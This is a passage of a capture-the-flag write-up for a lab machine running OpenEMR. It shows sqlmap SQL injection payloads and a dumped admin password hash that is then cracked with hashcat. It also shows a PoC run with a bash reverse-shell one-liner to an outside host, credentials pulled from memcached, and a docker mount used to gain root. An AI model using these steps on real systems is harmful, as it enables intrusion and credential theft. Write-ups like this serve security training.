| form_vitals |
| forms |
| gacl_acl |
| gacl_acl_sections |
| gacl_acl_seq |
| gacl_aco |
| gacl_aco_map |
| gacl_aco_sections |
| gacl_aco_sections_seq |
| gacl_aco_seq |
| gacl_aro |
| gacl_aro_groups |
| gacl_aro_groups_id_seq |
| gacl_aro_groups_map |
| gacl_aro_map |
| gacl_aro_sections |
| gacl_aro_sections_seq |
| gacl_aro_seq |
| gacl_axo |
| gacl_axo_groups |
| gacl_axo_groups_map |
| gacl_axo_map |
| gacl_axo_sections |
| gacl_groups_aro_map |
| gacl_groups_axo_map |
| gacl_phpgacl |
| geo_country_reference |
| geo_zone_reference |
| globals |
| gprelations |
| history_data |
| icd10_dx_order_code |
| icd10_gem_dx_10_9 |
| icd10_gem_dx_9_10 |
| icd10_gem_pcs_10_9 |
| icd10_gem_pcs_9_10 |
| icd10_pcs_order_code |
| icd10_reimbr_dx_9_10 |
| icd10_reimbr_pcs_9_10 |
| icd9_dx_code |
| icd9_dx_long_code |
| icd9_sg_code |
| icd9_sg_long_code |
| immunization_observation |
| immunizations |
| insurance_companies |
| insurance_data |
| insurance_numbers |
| issue_encounter |
| issue_types |
| lang_constants |
| lang_custom |
| lang_definitions |
| lang_languages |
| layout_group_properties |
| layout_options |
| lbf_data |
| lbt_data |
| list_options |
| lists |
| lists_touch |
| log |
| log_comment_encrypt |
| log_validator |
| medex_icons |
| medex_outgoing |
| medex_prefs |
| medex_recalls |
| misc_address_book |
| module_acl_group_settings |
| module_acl_sections |
| module_acl_user_settings |
| module_configuration |
| modules |
| modules_hooks_settings |
| modules_settings |
| multiple_db |
| notes |
| notification_log |
| notification_settings |
| onotes |
| onsite_documents |
| onsite_mail |
| onsite_messages |
| onsite_online |
| onsite_portal_activity |
| onsite_signatures |
| openemr_module_vars |
| openemr_modules |
| openemr_postcalendar_categories |
| openemr_postcalendar_events |
| openemr_postcalendar_limits |
| openemr_postcalendar_topics |
| openemr_session_info |
| patient_access_offsite |
| patient_access_onsite |
| patient_birthday_alert |
| patient_data |
| patient_portal_menu |
| patient_reminders |
| patient_tracker |
| patient_tracker_element |
| payment_gateway_details |
| payments |
| pharmacies |
| phone_numbers |
| pma_bookmark |
| pma_column_info |
| pma_history |
| pma_pdf_pages |
| pma_relation |
| pma_table_coords |
| pma_table_info |
| pnotes |
| prescriptions |
| prices |
| procedure_answers |
| procedure_order |
| procedure_order_code |
| procedure_providers |
| procedure_questions |
| procedure_report |
| procedure_result |
| procedure_type |
| product_registration |
| product_warehouse |
| registry |
| report_itemized |
| report_results |
| rule_action |
| rule_action_item |
| rule_filter |
| rule_patient_data |
| rule_reminder |
| rule_target |
| shared_attributes |
| standardized_tables_track |
| supported_external_dataloads |
| syndromic_surveillance |
| template_users |
| therapy_groups |
| therapy_groups_counselors |
| therapy_groups_participant_attendance |
| therapy_groups_participants |
| transactions |
| user_settings |
| users |
| users_facility |
| users_secure |
| valueset |
| voids |
| x12_partners |
+---------------------------------------+
[18:39:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/hms.htb'
[18:39:10] [WARNING] you haven't updated sqlmap for more than 62 days!!!
[*] ending @ 18:39:10 /2020-08-02/
While there was a ton of enumerated tables, the one that sounded the most interesting was users_secure near the bottom of the dumped list. I invoked sqlmap again, this time adding the -T flag to specify the target table and --dump to dump all the table entries.
sqlmap -r openemr-sqli.req --threads=10 -D openemr -T users_secure --dump
___
__H__
___ ___[']_____ ___ ___ {1.4.6#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:40:36 /2020-08-02/
[18:40:36] [INFO] parsing HTTP request from 'openemr-sqli.req'
[18:40:36] [INFO] resuming back-end DBMS 'mysql'
[18:40:36] [INFO] testing connection to the target URL
[18:40:37] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (5690=5690) THEN 1 ELSE (SELECT 2448 UNION SELECT 7011) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(5870,CONCAT(0x5c,0x71766a6a71,(SELECT (ELT(5870=5870,1))),0x7178707071))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 8366 FROM (SELECT(SLEEP(5)))NJSG)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a6a71,0x6a7145664d7a4756795a724a7357796d51774e434d6366655855554d454354524e534944544b4255,0x7178707071),NULL-- -
---
[18:40:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:40:37] [INFO] fetching columns for table 'users_secure' in database 'openemr'
[18:40:37] [INFO] starting 9 threads
[18:40:37] [INFO] retrieved: 'password','varchar(255)'
[18:40:37] [INFO] retrieved: 'username','varchar(255)'
[18:40:37] [INFO] retrieved: 'id','bigint(20)'
[18:40:37] [INFO] retrieved: 'salt','varchar(255)'
[18:40:37] [INFO] retrieved: 'salt_history2','varchar(255)'
[18:40:37] [INFO] retrieved: 'password_history2','varchar(255)'
[18:40:37] [INFO] retrieved: 'password_history1','varchar(255)'
[18:40:37] [INFO] retrieved: 'salt_history1','varchar(255)'
[18:40:37] [INFO] retrieved: 'last_update','timestamp'
[18:40:37] [INFO] fetching entries for table 'users_secure' in database 'openemr'
Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id | salt | username | password | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
[18:40:37] [INFO] table 'openemr.users_secure' dumped to CSV file '/root/.sqlmap/output/hms.htb/dump/openemr/users_secure.csv'
[18:40:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/hms.htb'
[18:40:37] [WARNING] you haven't updated sqlmap for more than 62 days!!!
[*] ending @ 18:40:37 /2020-08-02/
I saved the username and salted password to the file m3200.hashes on my Kali host, then invoked hashcat in order to attempt to crack the password hash. I used the -m flag to specify the target hash type, -a to specify the attack mode, --username to skip the string prepended to the hash, and -r to specify the location of an additional rules file.
cat m3200.hashes
openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.
hashcat -m 3200 -a 0 --username m3200.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/wordlists/hob064.rule
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-AMD Ryzen 5 1600 Six-Core Processor, 2048/5917 MB allocatable, 6MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 64
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=6 -D KERN_TYPE=3200 -D _unroll'
* Device #1: Kernel m03200-pure.5d23e0e7.kernel not found in cache! Building may take a while...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 918040640
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.:xxxxxx
Session..........: hashcat
Status...........: Cracked
Hash.Type........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEc...F6P0B.
Time.Started.....: Sun Aug 2 18:47:34 2020 (21 secs)
Time.Estimated...: Sun Aug 2 18:47:55 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/wordlists/hob064.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2379 H/s (9.77ms) @ Accel:8 Loops:2 Thr:8 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 49536/918040640 (0.01%)
Rejected.........: 0/49536 (0.00%)
Restore.Point....: 768/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:30-32
Candidates.#1....: football1 -> summer1
Started: Sun Aug 2 18:47:10 2020
Stopped: Sun Aug 2 18:47:56 2020
LEVERAGING CREDENTIALS FOR SHELL
With credentials to OpenEMR, I was now able to fire the Python PoC script itself for RCE. I ran the script without arguments first in order to check the required command syntax, then passed the required arguments, including a standard bash reverse shell one-liner as the payload.
python 45161.py
usage: 45161.py [-h] [-u USER] [-p PASSWORD] [-c CMD] host
45161.py: error: too few arguments
python 45161.py -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.31/443 0>&1' http://hms.htb
.---. ,---. ,---. .-. .-.,---. ,---.
/ .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\
| | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/
| | | | | |--' | .-' | |\ || .-' (_)\/ || (
\ `-' / | | | `--.| | |)|| `--.| \ / || |\ \
)---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\
(_) (__) (__) (__) (__) '-' '-' (__)
={ P R O J E C T I N S E C U R I T Y }=
Twitter : @Insecurity
Site : insecurity.sh
[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload
I verified I caught the shell on my multi/handler listener, and determined the shell context was that of www-data.
[*] Command shell session 1 opened (10.10.14.31:443 -> 10.10.10.188:52728) at 2020-08-02 18:57:05 -0400
sessions 1
[*] Starting interaction with 1...
www-data@cache:/var/www/hms.htb/public_html/interface/main$ whoami
whoami
www-data
LATERAL MOVE TO USER ASH
The first thing I did was to spawn a full pty shell with Python.
which python
which python
which python3
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
Next I checked the contents of /home/ and saw that there was a user named ash.
ls /home
ash
Since I had a set of credentials for a user ash, I decided to check if I could su into ash before I did any other enumeration.
su ash
su ash
Password: H@v3_fun
ash@cache:~$
The command was successful and I was able to get the user flag.
LATERAL MOVE TO USER LUFFY
While checking for ports listening only on localhost, I saw service listening on tcp/11211.
netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
tcp 0 459 10.10.10.188:52810 10.10.14.31:443 ESTABLISHED -
tcp 0 1 10.10.10.188:53682 8.8.4.4:53 SYN_SENT -
tcp 0 0 127.0.0.1:11211 127.0.0.1:53200 TIME_WAIT -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 10.10.10.188:80 10.10.14.31:32962 TIME_WAIT -
tcp6 0 0 10.10.10.188:80 10.10.14.31:32958 TIME_WAIT -
tcp6 0 0 10.10.10.188:80 10.10.14.31:32956 TIME_WAIT -
tcp6 0 0 10.10.10.188:80 10.10.14.31:60658 ESTABLISHED -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 127.0.0.1:47184 127.0.0.53:53 ESTABLISHED -
I tried connecting to the service with nc, hoping that I would be able to learn what the service was from the banner.
nc -v localhost 11211
nc -v localhost 11211
nc: connect to localhost port 11211 (tcp) failed: Connection refused
Connection to localhost 11211 port [tcp/*] succeeded!
ERROR
There was no banner. I searched Google for port 11211 and noticed there were quite a few results related to memcache privesc. The Hack Tricks page listed a bunch of different enumeration commands available on this service, so I reconnected my localhost nc session and began working through them.
nc -nv 127.0.0.1 11211
nc -nv 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
version
version
VERSION 1.5.6 Ubuntu
stats
stats
STAT pid 942
STAT uptime 13949
STAT time 1596413168
STAT version 1.5.6 Ubuntu
STAT libevent 2.1.8-stable
STAT pointer_size 64
STAT rusage_user 1.055982
STAT rusage_system 1.700311
STAT max_connections 1024
STAT curr_connections 1
STAT total_connections 240
STAT rejected_connections 0
STAT connection_structures 3
STAT reserved_fds 20
STAT cmd_get 0
STAT cmd_set 1165
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 0
STAT get_misses 0
STAT get_expired 0
STAT get_flushed 0
STAT delete_misses 0
STAT delete_hits 0
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 35763
STAT bytes_written 11480
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT time_in_listen_disabled_us 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT slab_reassign_rescues 0
STAT slab_reassign_chunk_rescues 0
STAT slab_reassign_evictions_nomem 0
STAT slab_reassign_inline_reclaim 0
STAT slab_reassign_busy_items 0
STAT slab_reassign_busy_deletes 0
STAT slab_reassign_running 0
STAT slabs_moved 0
STAT lru_crawler_running 0
STAT lru_crawler_starts 5355
STAT lru_maintainer_juggles 30726
STAT malloc_fails 0
STAT log_worker_dropped 0
STAT log_worker_written 0
STAT log_watcher_skipped 0
STAT log_watcher_sent 0
STAT bytes 371
STAT curr_items 5
STAT total_items 1165
STAT slab_global_page_pool 0
STAT expired_unfetched 0
STAT evicted_unfetched 0
STAT evicted_active 0
STAT evictions 0
STAT reclaimed 0
STAT crawler_reclaimed 0
STAT crawler_items_checked 80
STAT lrutail_reflocked 0
STAT moves_to_cold 1165
STAT moves_to_warm 0
STAT moves_within_lru 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
END
stats slabs
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 1165
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
stats items
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 42
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 80
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 1165
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END
stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
I tried using the leaked credentials luffy:0n3_p1ec3 to authenticate over SSH and was successful.
ssh luffy@10.10.10.188
luffy@10.10.10.188's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Nov 7 21:52:06 UTC 2020
System load: 0.0 Processes: 172
Usage of /: 75.0% of 8.06GB Users logged in: 0
Memory usage: 11% IP address for ens160: 10.10.10.188
Swap usage: 0% IP address for docker0: 172.17.0.1
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
110 packages can be updated.
0 updates are security updates.
Last login: Wed May 6 08:54:44 2020 from 10.10.14.3
/usr/bin/xauth: file /home/luffy/.Xauthority does not exist
luffy@cache:~$
ESCALATION OF PRIVILEGE
The first thing I did after connecting over SSH was to investigate my user context with id.
id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
User luffy was a member of the docker group, which means that there should have been docker images on the target host. I checked for existing images with docker image ls.
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 10 months ago 64.2MB
Since there was already an Ubuntu docker image on the target host, I decided to check if I leverage this image to gain arbitrary read/write in the context of root like I had been able to do on other machines.
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
root@1a9c86c8e026:/#
It worked and I was able to access the root.txt flag, demonstrating root-level compromise of the target machine.